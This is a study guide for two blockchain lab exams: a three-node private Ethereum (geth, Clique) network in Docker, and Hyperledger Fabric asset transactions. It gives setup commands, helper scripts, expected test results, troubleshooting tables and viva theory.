# 4) start the nodes (node1 seals blocks; node2 and node3 only validate)
COMMON="--networkid 12345 --port 30303 --nodiscover --http --http.addr
0.0.0.0 --http.port 8545 \
 --http.api eth,net,web3,admin,personal,miner,clique --allow-insecure-unlock"

docker run -d --name node1 --network ethnet --ip 172.20.0.11 -p 8545:8545 \
  -v $PWD/node1:/root/.ethereum -v $PWD/password.txt:/password.txt $IMG
$COMMON \
  --nat extip:172.20.0.11 --unlock 0x$ADDR1 --password /password.txt --mine -
-miner.etherbase 0x$ADDR1

docker run -d --name node2 --network ethnet --ip 172.20.0.12 -p 8546:8545 \
  -v $PWD/node2:/root/.ethereum -v $PWD/password.txt:/password.txt $IMG
$COMMON \
  --nat extip:172.20.0.12 --unlock 0x$ADDR2 --password /password.txt

docker run -d --name node3 --network ethnet --ip 172.20.0.13 -p 8547:8545 \
  -v $PWD/node3:/root/.ethereum -v $PWD/password.txt:/password.txt $IMG
$COMMON \
  --nat extip:172.20.0.13 --unlock 0x$ADDR3 --password /password.txt

docker ps        # three containers Up
docker logs node1 | tail -20
```

Flag meanings (viva): `--networkid` identifies the network at the devp2p handshake; `--nodiscover` disables auto peer discovery so you connect nodes by hand; `--nat extip` advertises the container IP in the enode; `--unlock` and `--allow-insecure-unlock` unlock the account for the dev console (never on a public RPC); `--mine` starts sealing; `--http.api` chooses exposed RPC modules.

Task 2: verify one network and peer connectivity

```
# open a console on each node (attach through the IPC file inside the
container)
docker exec -it node1 geth attach /root/.ethereum/geth.ipc
```

Inside the node1 console, get its enode, then peer the others:

```
admin.nodeInfo.enode          // enode://<pubkey>@172.20.0.11:30303
```

```
# from the host: tell node2 and node3 to connect to node1 (replace ENODE1
with node1's enode string)
ENODE1=$(docker exec node1 geth attach --exec 'admin.nodeInfo.enode'
/root/.ethereum/geth.ipc | tr -d '"')
docker exec node2 geth attach --exec "admin.addPeer('$ENODE1')"
/root/.ethereum/geth.ipc
docker exec node3 geth attach --exec "admin.addPeer('$ENODE1')"
/root/.ethereum/geth.ipc
# optional full mesh: also add node2 and node3 to each other the same way
```

Verify on each node (`docker exec -it nodeN geth attach /root/.ethereum/geth.ipc`):

```
net.peerCount                   // 2 on node1, 1 or 2 on node2/node3
admin.peers.map(p => p.network.remoteAddress)     // IPs of the connected
peers
admin.nodeInfo.protocols.eth.config.chainId       // 12345 on all three
eth.getBlock(0).hash            // IDENTICAL genesis hash on all nodes = same
network
eth.blockNumber                 // identical and increasing every ~5 s
clique.getSigners()             // [node1 address]
```

If the supplied network uses discovery or `static-nodes.json`, peers connect automatically; the same checks apply.

Task 3: transaction on one node, observed on another

```
// on node1's console
eth.accounts
eth.getBalance(eth.accounts[0])
var to = "0x<ADDR2 from node2>"
var h = eth.sendTransaction({from: eth.accounts[0], to: to, value:
web3.toWei(1, "ether")})
h                                       // transaction hash
eth.getTransaction(h)                   // blockNumber null (pending) until
the next block
```

Wait about 5 seconds, then run on **node2's** console:

```
eth.getTransaction("<h>")              // same transaction, with blockNumber
now set
eth.getTransactionReceipt("<h>")       // status 0x1, gasUsed 21000,
blockNumber
eth.getBalance(eth.accounts[0])        // node2's account is up by exactly 1
ETH
eth.getBlock("latest").transactions    // contains h
```

The same transaction appears on node2 and node3 because transactions propagate (gossip) to peers' pools, and the sealed block propagates too. A pending-but-not-mined view proves the mempool exists.

Task 4: troubleshooting the introduced fault

Fault	Symptom	Diagnose	Fix
A node is stopped	`docker ps` missing it; peerCount drops	`docker ps -a`, `docker logs nodeN`	`docker start nodeN`, re-run `admin.addPeer(...)` (needed because `--nodiscover`); the node resyncs missed blocks
Peer disconnected	`net.peerCount` 0, `admin.peers` empty	`admin.peers`, logs	`admin.addPeer(enode)`; check IP/port reachability with `docker exec node2 ping 172.20.0.11`
`admin.removePeer` used as the fault	Same as above	`admin.peers`	`admin.addPeer(enode)` again
Config mismatch: wrong `--networkid`	Peers never stay connected, no error on RPC	logs show `Handshake failed` / `network id mismatch`	Restart with the same `--networkid` as the others
Config mismatch: different genesis	`genesis mismatch`; `eth.getBlock(0).hash` differs	Compare `eth.getBlock(0).hash` on every node	Stop the node, `rm -rf nodeN/geth`, `geth init` with the common `genesis.json`, restart, re-peer
Wrong enode IP (127.0.0.1 or `[::]`)	addPeer succeeds but never connects	`admin.nodeInfo.enode`	Use the container IP or `--nat extip`
Port already in use	Container exits immediately	`docker logs`, `ss -tulpn`	Change the host port mapping
Sealer node (node1) stopped	Blocks stop: `eth.blockNumber` frozen on all nodes, transactions stay pending	`clique.getSigners()`	`docker start node1`; with a single signer, no signer means no new blocks

Useful extra commands: `docker restart nodeN`, `docker logs -f nodeN`, `docker network inspect ethnet`, `txpool.status`, `miner.start()` and `miner.stop()` (on the signer), `eth.syncing`.

Native (non-Docker) variant: each process needs its own datadir and ports: `geth --datadir node2 --networkid 12345 --port 30304 --http --http.port 8546 --authrpc.port 8552 --nodiscover console`.

Input-driven helper script: lab8_tools.sh

With internet available, `docker pull ethereum/client-go:v1.13.15` works if the image is missing. This helper wraps the console commands so you can test any node, address or amount quickly (it assumes the container names `node1`, `node2`, `node3` from this guide; edit the names to match the supplied setup):

```
#!/bin/bash
# usage: ./lab8_tools.sh status | send NODE TO_ADDRESS ETH | balance NODE
ADDRESS | tx NODE HASH | peers NODE | addpeer NODE ENODE
IPC=/root/.ethereum/geth.ipc
run() { docker exec "$1" geth attach --exec "$2" $IPC; }

case "$1" in
  status)
    for n in node1 node2 node3; do
      echo "== $n =="
      run $n 'JSON.stringify({peers: net.peerCount, block: eth.blockNumber,
genesis: eth.getBlock(0).hash.slice(0,12), pending: txpool.status.pending})'
    done ;;
  send)    run "$2" "eth.sendTransaction({from: eth.accounts[0], to: '$3',
value: web3.toWei($4, 'ether')})" ;;
  balance) run "$2" "web3.fromWei(eth.getBalance('$3'), 'ether')" ;;
  tx)      run "$2" "JSON.stringify({tx: eth.getTransaction('$3'), receipt:
eth.getTransactionReceipt('$3')})" ;;
  peers)   run "$2" "admin.peers.map(function(p){ return
p.network.remoteAddress })" ;;
  addpeer) run "$2" "admin.addPeer('$3')" ;;
  *) echo "usage: $0 status | send NODE TO ETH | balance NODE ADDR | tx NODE
HASH | peers NODE | addpeer NODE ENODE" ;;
esac
```

Save, then `chmod +x lab8_tools.sh`. Find each node's account with `docker exec node2 geth attach --exec 'eth.accounts[0]' /root/.ethereum/geth.ipc`.

Lab 8 test inputs

Command	Expected result
`./lab8_tools.sh status`, run twice about 10 seconds apart	All three nodes show the **same genesis prefix**, `peers` at least 1, and `block` identical on all three and increasing about 2 per 10 s (5-second period)
`./lab8_tools.sh send node1 <ADDR2> 1`	Prints a transaction hash
wait 5 s, `./lab8_tools.sh tx node2 <hash>`	Seen from **node2**: `blockNumber` set, receipt `status: "0x1"`, `gasUsed: 21000` (`0x5208`)
`./lab8_tools.sh balance node2 <ADDR2>`	Increased by exactly 1 ETH
`./lab8_tools.sh send node1 <ADDR2> 0.001` and `... 0`	Both accepted (fractional and zero values)
`./lab8_tools.sh send node2 <ADDR1> 2` (reverse direction)	Works; included in a block sealed by node1 within about 5 s even though node2 never seals
`./lab8_tools.sh send node1 <ADDR2> 100000`	Error `insufficient funds for gas * price + value`
`./lab8_tools.sh send node1 notanaddress 1`	Error about an invalid address argument
`docker stop node3`, then send node1 to ADDR3	Still works; node3 simply misses the blocks
`docker start node3`, then `addpeer node3 <ENODE1>`	After a few seconds `status` shows node3's `block` caught up and its balance includes the transfer
`docker stop node1` (the only sealer), then `send node2 <ADDR1> 1`	`status` shows `block` frozen and `pending` 1: no sealer, no blocks
`docker start node1`, then `addpeer node2 <ENODE1>`	Blocks resume, pending drops to 0, transaction is mined
Start a wrong-network 4th node (`--networkid 999`) and `addPeer` it	`net.peerCount` stays 0 for it; `docker logs` shows a handshake or network id mismatch: this is the "configuration mismatch" fault

After restarting any node when `--nodiscover` is used, remember to re-add peers: the connection is not automatic. If the supplied setup uses discovery or `static-nodes.json`, restarts reconnect on their own, which you can verify with `peers NODE`.

Lab 8: more common errors and how to resolve them

(These add to the Task 4 fault table. Always start with `docker ps -a` and `docker logs <container>`.)

Symptom or message	Likely cause	Check	Fix
`permission denied ... /var/run/docker.sock`	User not in the docker group	`groups`	`sudo usermod -aG docker $USER && newgrp docker`, or use `sudo`
`Cannot connect to the Docker daemon`	Docker service stopped	`systemctl status docker`	`sudo systemctl start docker`
`Conflict. The container name "/node1" is already in use`	Old container exists	`docker ps -a`	`docker rm -f node1` and start again
`Pool overlaps with other one on this address space`	Subnet already used by another Docker network	`docker network ls`, `docker network inspect <net>`	Use another subnet (`172.28.0.0/16`) and matching `--ip` values, or reuse the existing network
Container exits immediately	Bad flag, bad genesis, or locked account	`docker logs node1` (read the last lines)	Fix the flag named in the error; use a geth tag that supports the flag
`Fatal: Failed to read genesis` or `invalid genesis file`	JSON syntax error	`python3 -m json.tool genesis.json`	Fix commas and quotes; re-run `geth init`
Clique `extradata` rejected	Wrong length: must be 32 vanity bytes + 20 bytes per signer + 65 seal bytes	Count hex digits after `0x`: 64 + 40 per signer + 130	Regenerate it with the `PAD64`, `ADDR1`, `PAD130` pieces
`could not decrypt key with given password`	Wrong password file, trailing spaces, or file not mounted	`cat password.txt`; check the `-v` mount path	Recreate with `echo "pass123" > password.txt`; use the same file for creation and unlock

Symptom or message	Likely cause	Check	Fix
`database already contains an incompatible genesis block`	Node folder was initialised with a different genesis	Compare the genesis you intended with what was used	Stop the node, delete `nodeN/geth` (keep `keystore`), re-run `geth init`, restart
Blocks are not being produced	Signer not in `extradata`, not unlocked, or `--mine` missing	`docker logs node1` for `unauthorized signer`; `clique.getSigners()`; `eth.mining`	Put the correct account in `extradata` and re-init; unlock it; add `--mine --miner.etherbase`
`net.peerCount` stays 0	`--nodiscover` with no `addPeer`, wrong IP in enode, different networks or containers	`admin.peers`; `docker network inspect ethnet`; `docker exec node2 ping 172.20.0.11`	Add peers by `admin.addPeer(enode)`; fix the enode IP (`--nat extip`); put all containers on one network
Peer connects then drops	Different genesis or `--networkid`	Compare `eth.getBlock(0).hash` on each node; `docker logs`	Re-init with the same genesis; same `--networkid` on all
`unauthorized: ... authentication needed: password or unlock` on send	Account locked on that node	`eth.accounts`; start flags	Add `--unlock <addr> --password /password.txt --allow-insecure-unlock` or `personal.unlockAccount()`
Transaction stays pending forever	No sealer running, or the sealer is not connected to this node	`txpool.status`; `eth.blockNumber` unchanged; `net.peerCount`	Start the sealer, re-add peers; check clocks and period
`geth attach` says `connect: no such file or directory`	Wrong IPC path or container not running	`docker ps`; `docker exec nodeN ls /root/.ethereum`	Use `/root/.ethereum/geth.ipc`; wait a few seconds after start
`The method ... does not exist/is not available` (e.g. `personal`, `txpool`)	Module not exposed on that interface	Which interface (HTTP vs IPC)?	IPC exposes all modules; for HTTP add the module to `--http.api`
`unknown flag: --mine` or Clique errors on a newer image	geth 1.14 or newer dropped PoA mining	`docker run --rm $IMG version`	Use `ethereum/client-go:v1.13.15`, or follow the supplied scripts

Symptom or message	Likely cause	Check	Fix
Host cannot reach `localhost:8545`	Port not published, or two nodes mapped to the same host port	`docker ps` (PORTS column)	Map each node to a distinct host port (8545, 8546, 8547)
Values appear as `0x5208` or `"0x1"`	Hex encoding in console output	Not an error	Convert: `parseInt("0x5208")` is 21000; status `0x1` is success

Viva theory

Private/permissioned Ethereum network. A separate chain that shares the software but not the main network: its own **genesis block** (initial state, chain parameters, funded accounts), **network ID** and **chain ID**. Nodes with a different genesis or network ID cannot peer. Used for enterprise pilots, testing and teaching.

Genesis file fields. `chainId` (replay protection, signed into transactions), `config` (fork activation blocks, consensus parameters), `difficulty`, `gasLimit`, `alloc` (pre-funded accounts), `extradata` (for Clique: 32-byte vanity, the signer list, 65-byte seal).

Network ID vs chain ID. Network ID is used in the peer-to-peer handshake; chain ID is used in transaction signing (EIP-155) to prevent replay across chains. Often set equal.

Consensus: Clique PoA. Proof of Authority: a fixed set of approved signers take turns sealing blocks every `period` seconds. No mining puzzle, so low energy and fast blocks, but trust is placed in the signers. In-turn blocks have difficulty 2, out-of-turn blocks difficulty 1. A signer may seal only one of every `floor(N/2)+1` blocks. Signers are voted in/out via `clique.propose`.

Peer-to-peer layer. Nodes find each other with discovery (Kademlia-like discv4) or manual addPeer, then talk over **devp2p/RLPx** (encrypted TCP, default port 30303) using the `eth` protocol. A node is identified by an **enode URL**: `enode://<public key>@<ip>:<port>`.

Transaction propagation. A signed transaction enters the local mempool (txpool), is gossiped to peers, and the next sealer includes it in a block, which propagates and is validated by every node. That is why a transaction submitted on node1 is visible on node2.

Node types and sync. Full node (validates everything, keeps recent state), archive node (keeps all historical state), light client (headers only). Sync modes: snap (default), full.

Fault tolerance. A restarted or lagging node resyncs missing blocks from peers. The network keeps working as long as enough signers are online; with a single signer, that signer is a single point of failure (a good viva point: why production PoA uses several

signers).

Security notes. Do not expose the HTTP RPC or `personal` API publicly; `--allow-insecure-unlock` is for development only; firewall port 30303; keep keystore passwords private. Ethereum mainnet today uses PoS (execution client plus consensus client), which is why Clique was dropped from newer geth.

Typical viva questions: How do you know the nodes are on the same network? (Same genesis hash and network ID, peerCount greater than 0.) Why did a transaction stay pending? (No sealer is producing blocks, or it has not reached the sealer.) What does `--nodiscover` do? (No automatic peer finding; you add peers manually.) Why was balance on node2 identical to node1's view? (All nodes validate the same chain state.) What is an enode? (Node identity plus address used to connect peers.) What changes if the genesis differs by one character? (Different genesis hash, so incompatible chain and handshake failure.)

Lab 9: Hyperledger Fabric asset transaction

Using the Fabric `test-network` (two peer organizations plus one orderer) and the `asset-transfer-basic` chaincode: verify the network, create and query an asset, transfer it, then explain and demonstrate Proposal, Endorsement, Ordering, Validation, Commit.

Orient yourself (offline)

```
cd ~/fabric-samples/test-network        # or wherever the supplied test-
network folder is
ls                                      # network.sh, organizations/,
scripts/, ../asset-transfer-basic
ls ../bin                               # peer, configtxgen, ... (binaries
are local)
docker images | grep hyperledger        # images exist locally; the exam does
not need pulls
```

Task 1: start or verify the network and identify participants

```
# If NOT already running (starts 1 orderer + peer0.org1 + peer0.org2 and
creates the channel):
./network.sh down                       # clean slate; safe to run first
./network.sh up createChannel -c mychannel
# Deploy the chaincode if it is not already committed (use the supplied
language/path):
./network.sh deployCC -ccn basic -ccp ../asset-transfer-basic/chaincode-go -
ccl go
#   other variants:  -ccp ../asset-transfer-basic/chaincode-javascript -ccl
javascript
```

Verify what is running:

```
docker ps --format 'table {{.Names}}\t{{.Status}}\t{{.Ports}}'
# expect: orderer.example.com, peer0.org1.example.com, peer0.org2.example.com
(+ dev-peer... chaincode containers)
```

Set up the shell as an **Org1 admin** (save this as `env_org1.sh` and `source` it in every new terminal):

```
export PATH=${PWD}/../bin:$PATH
export FABRIC_CFG_PATH=${PWD}/../config/
export CORE_PEER_TLS_ENABLED=true
export CORE_PEER_LOCALMSPID=Org1MSP
export
CORE_PEER_TLS_ROOTCERT_FILE=${PWD}/organizations/peerOrganizations/org1.examp
le.com/peers/peer0.org1.example.com/tls/ca.crt
export
CORE_PEER_MSPCONFIGPATH=${PWD}/organizations/peerOrganizations/org1.example.c
om/users/Admin@org1.example.com/msp
export CORE_PEER_ADDRESS=localhost:7051

# helper variables for invokes
export
ORDERER_CA=${PWD}/organizations/ordererOrganizations/example.com/orderers/ord
erer.example.com/msp/tlscacerts/tlsca.example.com-cert.pem
export
ORG1_TLS=${PWD}/organizations/peerOrganizations/org1.example.com/peers/peer0.
org1.example.com/tls/ca.crt
export
ORG2_TLS=${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer0.
org2.example.com/tls/ca.crt
```

For **Org2**, change: `CORE_PEER_LOCALMSPID=Org2MSP`, the TLS root cert and MSP path to `org2.example.com` / `Admin@org2.example.com`, and `CORE_PEER_ADDRESS=localhost:9051`.

Identify participants and channel state:

```
peer channel list                                              # mychannel
peer channel getinfo -c mychannel                              # height,
currentBlockHash
peer lifecycle chaincode queryinstalled                        # chaincode
package installed on this peer
peer lifecycle chaincode querycommitted -C mychannel --name basic    #
version, sequence, endorsement policy, approving orgs
```

Participants: **Org1MSP** (peer0.org1.example.com, port 7051), **Org2MSP** (peer0.org2.example.com, port 9051), **OrdererMSP** (orderer.example.com, port 7050, Raft), channel `mychannel`, chaincode `basic`.

Task 2: create and query an asset

The long `invoke` command is the same every time; define a shell function once:

```
inv() {  # usage: inv '{"function":"CreateAsset","Args":
["asset7","purple","10","Divit","500"]}'
  peer chaincode invoke -o localhost:7050 --ordererTLSHostnameOverride
orderer.example.com \
    --tls --cafile "$ORDERER_CA" -C mychannel -n basic \
    --peerAddresses localhost:7051 --tlsRootCertFiles "$ORG1_TLS" \
    --peerAddresses localhost:9051 --tlsRootCertFiles "$ORG2_TLS" -c "$1"
}
```

```
inv '{"function":"InitLedger","Args":[]}'                    # only if the
ledger is empty; creates asset1..asset6
inv '{"function":"CreateAsset","Args":
["asset7","purple","10","Divit","500"]}'
# expect: Chaincode invoke successful. result: status:200

peer chaincode query -C mychannel -n basic -c '{"Args":
["ReadAsset","asset7"]}'
peer chaincode query -C mychannel -n basic -c '{"Args":["GetAllAssets"]}'
```

Asset fields: `ID, Color, Size, Owner, AppraisedValue`. The `basic` chaincode functions are `InitLedger`, `CreateAsset`, `ReadAsset`, `UpdateAsset`, `DeleteAsset`, `AssetExists`, `TransferAsset`, `GetAllAssets`. Check the supplied chaincode source

(`cat ../asset-transfer-basic/chaincode-go/chaincode/smartcontract.go`) for the exact names and argument order if the exam uses a custom variant.

Task 3: update or transfer and verify the ledger

```
inv '{"function":"TransferAsset","Args":["asset7","Alice"]}'      # new owner
= Alice
peer chaincode query -C mychannel -n basic -c '{"Args":
["ReadAsset","asset7"]}'   # Owner is now Alice

inv '{"function":"UpdateAsset","Args":["asset7","green","20","Alice","900"]}'
# id,color,size,owner,value
peer chaincode query -C mychannel -n basic -c '{"Args":
["ReadAsset","asset7"]}'

peer channel getinfo -c mychannel      # block height grew by one per
successful transaction
```

Verify from Org2's view too: `source` the Org2 env and run the same `ReadAsset` query on peer0.org2: same result proves both peers hold the same ledger. Optional evidence: `docker logs peer0.org1.example.com 2>&1 | tail -30` shows the block commit.

World state vs ledger: the query shows the *world state* (latest value). The *ledger* also keeps the full ordered history of every transaction in blocks, including the original and transfer transactions.

Task 4: the transaction path (explain and demonstrate)

Explanation to give, mapped to what you just ran:

1. **Proposal.** The client (the `peer chaincode invoke` CLI acting as an Org1 admin identity) builds a transaction proposal naming the channel, chaincode, function and arguments, signs it with its X.509 identity, and sends it to the endorsing peers (`--peerAddresses` on 7051 and 9051).
2. **Endorsement.** Each endorsing peer verifies the signature, then *simulates* (executes) the chaincode against its current world state. Nothing is written. It returns a signed **proposal response** with the **read-write set** (keys read with their versions, keys to be written). The client checks that the responses match and satisfy the endorsement policy (default: majority of channel orgs, here both Org1 and Org2).
3. **Ordering.** The client submits the endorsed transaction envelope to the orderer. The ordering service (Raft here) puts transactions from the channel into a total order and cuts them into blocks. The orderer does not run chaincode or look inside the payload.

4. **Validation.** Blocks are delivered to peers. Each peer checks, for every transaction: the endorsement policy is satisfied (correct orgs signed), and the read set still matches the current versions (**MVCC check**). Failing transactions are marked invalid, for example `ENDORSEMENT_POLICY_FAILURE` or `MVCC_READ_CONFLICT`.
5. **Commit.** The peer appends the block (valid and invalid transactions both recorded) to its ledger and applies only the valid transactions' write sets to the world state. It then emits block/transaction events.

Demonstration of the policy path (negative test): endorse with only one organisation, which violates the default MAJORITY policy:

```
peer chaincode invoke -o localhost:7050 --ordererTLSHostnameOverride
orderer.example.com \
  --tls --cafile "$ORDERER_CA" -C mychannel -n basic \
  --peerAddresses localhost:7051 --tlsRootCertFiles "$ORG1_TLS" \
  -c '{"function":"CreateAsset","Args":["asset8","red","5","Bob","100"]}'

sleep 3
peer chaincode query -C mychannel -n basic -c '{"Args":
["ReadAsset","asset8"]}'      # fails: asset8 does not exist
docker logs peer0.org1.example.com 2>&1 | grep -i -E
"ENDORSEMENT_POLICY|invalid|validat" | tail
```

The CLI usually prints `status:200` because the orderer accepted the transaction, yet the peers mark it `ENDORSEMENT_POLICY_FAILURE` at validation, and the asset is never created. That shows: endorsement policy is enforced at validate/commit, not at ordering. Then rerun `inv ...` (both peers) and it succeeds.

Likely troubleshooting items

Symptom	Cause	Fix
`access denied` / `creator org unknown`	Wrong MSP env vars (Org2 cert with Org1 MSP ID)	Re-`source` the correct env file; check `CORE_PEER_LOCALMSPID`, `MSPCONFIGPATH`, `CORE_PEER_ADDRESS`
`x509: certificate signed by unknown authority` / TLS errors	Wrong `TLS_ROOTCERT_FILE` or missing `--cafile`	Use paths from the env file; peer address must match the cert (use `localhost`)
`chaincode ... not found / not instantiated`	Chaincode not committed on channel	`./network.sh deployCC ...`; check `querycommitted`
`the asset asset7 already exists`	Duplicate `CreateAsset`	Use a new ID or `UpdateAsset`

Symptom	Cause	Fix
`the asset X does not exist`	Wrong ID, or earlier invoke was invalid	Check `GetAllAssets`, peer logs
`ENDORSEMENT_POLICY_FAILURE`	Not enough orgs endorsed	Add the second `--peerAddresses` pair; or change policy (`deployCC ... -ccep "OR('Org1MSP.peer','Org2MSP.peer')"` with a new sequence)
`MVCC_READ_CONFLICT`	Two transactions changed the same key in one block	Retry sequentially
`Error: endorsement failure ... connection refused`	A peer container is stopped	`docker ps -a`, `docker start <name>`
Network in a broken state	Stale containers/volumes	`./network.sh down`, then `up createChannel` and `deployCC` again

Input-driven helper functions (add to `env_org1.sh`)

These wrap the long `peer` commands so you can try any asset values quickly. They need the `inv` function and the environment variables from Task 1/2. Names start with `a_` to avoid clashing with shell built-ins such as `read` and `delete`. Avoid double quotes inside values (they would break the JSON).

```
a_create()   { inv "$(printf '{"function":"CreateAsset","Args":
["%s","%s","%s","%s","%s"]}' "$1" "$2" "$3" "$4" "$5")"; }   # id color size
owner value
a_update()   { inv "$(printf '{"function":"UpdateAsset","Args":
["%s","%s","%s","%s","%s"]}' "$1" "$2" "$3" "$4" "$5")"; }   # id color size
owner value
a_transfer() { inv "$(printf '{"function":"TransferAsset","Args":
["%s","%s"]}' "$1" "$2")"; }                                    # id
newOwner
a_delete()   { inv "$(printf '{"function":"DeleteAsset","Args":["%s"]}'
"$1")"; }                                                      # id
a_read()     { peer chaincode query -C mychannel -n basic -c "$(printf
'{"Args":["ReadAsset","%s"]}' "$1")"; }                        # id
a_exists()   { peer chaincode query -C mychannel -n basic -c "$(printf
'{"Args":["AssetExists","%s"]}' "$1")"; }
a_list()     { peer chaincode query -C mychannel -n basic -c '{"Args":
["GetAllAssets"]}'; }
```

Example session: `source env_org1.sh; a_create asset9 blue 15 Tom 300; a_read asset9; a_transfer asset9 Jerry; a_list`.

Lab 9 test inputs

Command	Expected result
`a_list` on a fresh network after `InitLedger`	asset1 to asset6 (Tomoko, Brad, Jin Soo, Max, Adriana, Michel)
`a_create asset9 blue 15 Tom 300`	`Chaincode invoke successful. result: status:200`
`a_read asset9`	`{"AppraisedValue":300,"Color":"blue","ID":"asset9","Owner":"Tom","Size":15}`
`a_create asset9 red 1 Bob 5` (duplicate)	Error `the asset asset9 already exists`; asset unchanged (check with `a_read`)
`a_read asset99`	Error `the asset asset99 does not exist`
`a_exists asset9`, `a_exists asset99`	`true`, `false`
`a_transfer asset9 Jerry`, then `a_read asset9`	Owner `Jerry`, all other fields unchanged
`a_transfer asset99 Jerry`	Error: asset does not exist
`a_update asset9 green 20 Jerry 900`, then `a_read asset9`	Color `green`, Size `20`, value `900`
`a_create asset10 blue abc Tom 300`	Error converting `abc` to an integer; nothing created
`a_create asset11 blue -5 Tom 300`	Probably **accepted**: the sample chaincode has no business-rule validation. Mention this if asked, and see the modification below
`a_create "asset 12" gold 3 "Alice Smith" 50`	Accepted: spaces are fine in values (asset ID with a space works too)
`a_delete asset9`, then `a_read asset9`	Delete succeeds, then `does not exist`
Source the Org2 env, then `a_read asset7`	Same data seen from the other organization
In an Org2 shell, run `a_create asset13 blue 5 Sam 100`	Works (the `inv` helper still endorses with both orgs)

Command	Expected result
Deliberately mix Org2 certificate with `CORE_PEER_LOCALMSPID=Org1MSP`, then any `peer` command	`access denied` or signature error: identity and MSP must match
After every successful invoke, `peer channel getinfo -c mychannel`	Block height increased by exactly 1 per invoke

If the examiner asks you to change the business rule (say, reject a non-positive size): edit `../asset-transfer-basic/chaincode-go/chaincode/smartcontract.go`, add the check at the top of `CreateAsset` and `UpdateAsset`:

```
if size <= 0 {
    return fmt.Errorf("size must be positive")
}
```

Then redeploy as a new version, because a committed chaincode definition is immutable until its sequence is raised:

```
./network.sh deployCC -ccn basic -ccp ../asset-transfer-basic/chaincode-go -
ccl go -ccv 2.0 -ccs 2
a_create asset14 blue -5 Tom 100     # now fails with: size must be positive
a_create asset14 blue 5 Tom 100      # still works
```

The JavaScript chaincode equivalent is a `throw new Error('size must be positive')` in `CreateAsset`. Go deployments download Go modules, so they need internet (available now); if it is flaky, deploy the JavaScript version (`-ccp ../asset-transfer-basic/chaincode-javascript -ccl javascript`) instead.

Lab 9: more common errors and how to resolve them

(These add to the troubleshooting table in Task 4. A major rule: run every `peer` command from the `test-network` folder, because the environment variables use `${PWD}` paths.)

Symptom or message	Likely cause	Check	Fix
`peer: command not found`	`bin` not on PATH	`ls ../bin`; `which peer`	`export PATH=${PWD}/../bin:$PATH` (in `env_org1.sh`, then `source` it)
`Config File "core" Not Found` / `error when setting up MSP`	`FABRIC_CFG_PATH` not set	`echo $FABRIC_CFG_PATH`	`export FABRIC_CFG_PATH=${PWD}/../config/`
Certificate paths not found, TLS errors right after changing directory	Shell is not in `test-network`	`pwd`; `ls organizations`	`cd ~/fabric-samples/test-network` and `source env_org1.sh` again

Symptom or message	Likely cause	Check	Fix
`x509: certificate signed by unknown authority` or `tls: bad certificate`	Wrong `TLS_ROOTCERT_FILE`, missing `--cafile`, or certificates regenerated by a new `network.sh up`	`echo $CORE_PEER_TLS_ROOTCERT_FILE`; `ls` the file	Re-`source` the env file after every network restart
`context deadline exceeded` / `connection refused`	Network is down or wrong port	`docker ps` for peers and orderer; ports 7050, 7051, 9051	`./network.sh up createChannel`, or `docker start <name>`
`access denied: channel [mychannel] creator org [Org2MSP]`	Org2 certificate with Org1 settings (or vice versa)	`echo $CORE_PEER_LOCALMSPID $CORE_PEER_MSPCONFIGPATH $CORE_PEER_ADDRESS`	Make the three variables agree with one org
`chaincode definition for 'basic' ... not agreed to by this org`	Org has not approved the same definition	`peer lifecycle chaincode checkcommitreadiness -C mychannel -n basic --version 1.0 --sequence 1 --output json`	Re-run `./network.sh deployCC` (approves for both orgs)
`Error: chaincode definition already exists` / `sequence mismatch` on redeploy	Need a higher sequence for a changed definition	`peer lifecycle chaincode querycommitted -C mychannel --name basic`	Add `-ccv 2.0 -ccs 2` to `deployCC`; or `./network.sh down` first
`ProposalResponsePayloads do not match`	Peers ran different chaincode versions, or chaincode is non-deterministic	`docker ps` for `dev-peer*` containers; chaincode source	Redeploy so both peers share one version; avoid timestamps or randomness in chaincode
`./network.sh up` fails with ports or names in use	Previous run left containers and volumes	`docker ps -a`	`./network.sh down`, then `docker rm -f $(docker ps -aq)` if still stuck, then `up` again
`network.sh: Permission denied`	Script is not executable	`ls -l network.sh`	`chmod +x network.sh`
`docker-compose: command not found`	Compose v1 vs v2	`docker compose version`	`sudo apt install docker-compose-v2`, or install `docker-compose`
`deployCC` fails: `go: command not found` or `go mod` download errors	Go not installed, or no module access	`go version`	`sudo apt install golang-go`; or use JavaScript chaincode: `-ccp ../asset-transfer-basic/chaincode-javascript -ccl javascript`
`Path to chaincode does not exist`	Wrong `-ccp` path	`ls ../asset-transfer-basic`	Correct the relative path
`invalid character` in `-c '{...}'`	Bad JSON quoting, curly quotes after pasting, or double quotes inside values	Echo the JSON string	Use straight quotes; single-quote the whole JSON; use the `a_*` helpers
`the asset X already exists` or `does not exist`	Real chaincode error	`a_list`	Use a new ID, or create it first
`status:200` but data unchanged	Transaction became invalid at validation (`ENDORSEMENT_POLICY_FAILURE`, `MVCC_READ_CONFLICT`)	`docker logs peer0.org1.example.com 2>&1 | grep -i -E "invalid|policy|mvcc"`	Endorse with both orgs; send transactions one at a time
State vanished after `./network.sh down`	Expected: network and ledger are destroyed	Run `a_list` after the restart	Recreate the channel, redeploy, `InitLedger` again
Slow first invoke after deploy	Chaincode container is starting	`docker ps` shows a new `dev-peer...` container	Wait 10 to 20 seconds and retry

Viva theory

Hyperledger Fabric. An open-source, **permissioned** enterprise blockchain framework (Linux Foundation). Participants have known identities (X.509 certificates issued by a Certificate Authority and managed by a **Membership Service Provider, MSP**). No cryptocurrency is needed. Modular: pluggable consensus, state database and identity.

Components.

- **Peers** hold a copy of the ledger and run chaincode; *endorsing peers* simulate transactions, *committing peers* validate and commit.
- **Orderer** orders transactions and creates blocks (Raft crash-fault-tolerant consensus in the test network).
- **Channels** are private sub-ledgers: only member organisations see a channel's transactions.
- **Chaincode** is Fabric's smart contract (Go, JavaScript, Java), packaged, installed, approved and committed through the **lifecycle**.
- **Ledger** = blockchain (immutable ordered log of blocks) + **world state** (current key-value state in LevelDB or CouchDB).
- **Endorsement policy** says which organisations must sign a transaction for it to be valid.

Execute-order-validate vs order-execute. Ethereum orders transactions first and every node executes them all sequentially. Fabric executes first (only on endorsers), then orders, then validates. Benefits: parallel execution, non-determinism filtered by comparing endorsements, confidentiality of logic to endorsers only, better throughput.

Read-write set and MVCC. Simulation records the keys read (with versions) and the new values to write. At validation, if any key read has changed since (another transaction committed first), the transaction is invalid, which prevents double-spend style conflicts.

Finality. Once a block is committed there are no forks (ordering service decides the order), so finality is immediate, unlike probabilistic finality in PoW.

Privacy features. Channels, private data collections (data shared only among some orgs, with only a hash on the channel ledger), and MSP-based access control.

Fabric vs Ethereum (viva favourite).

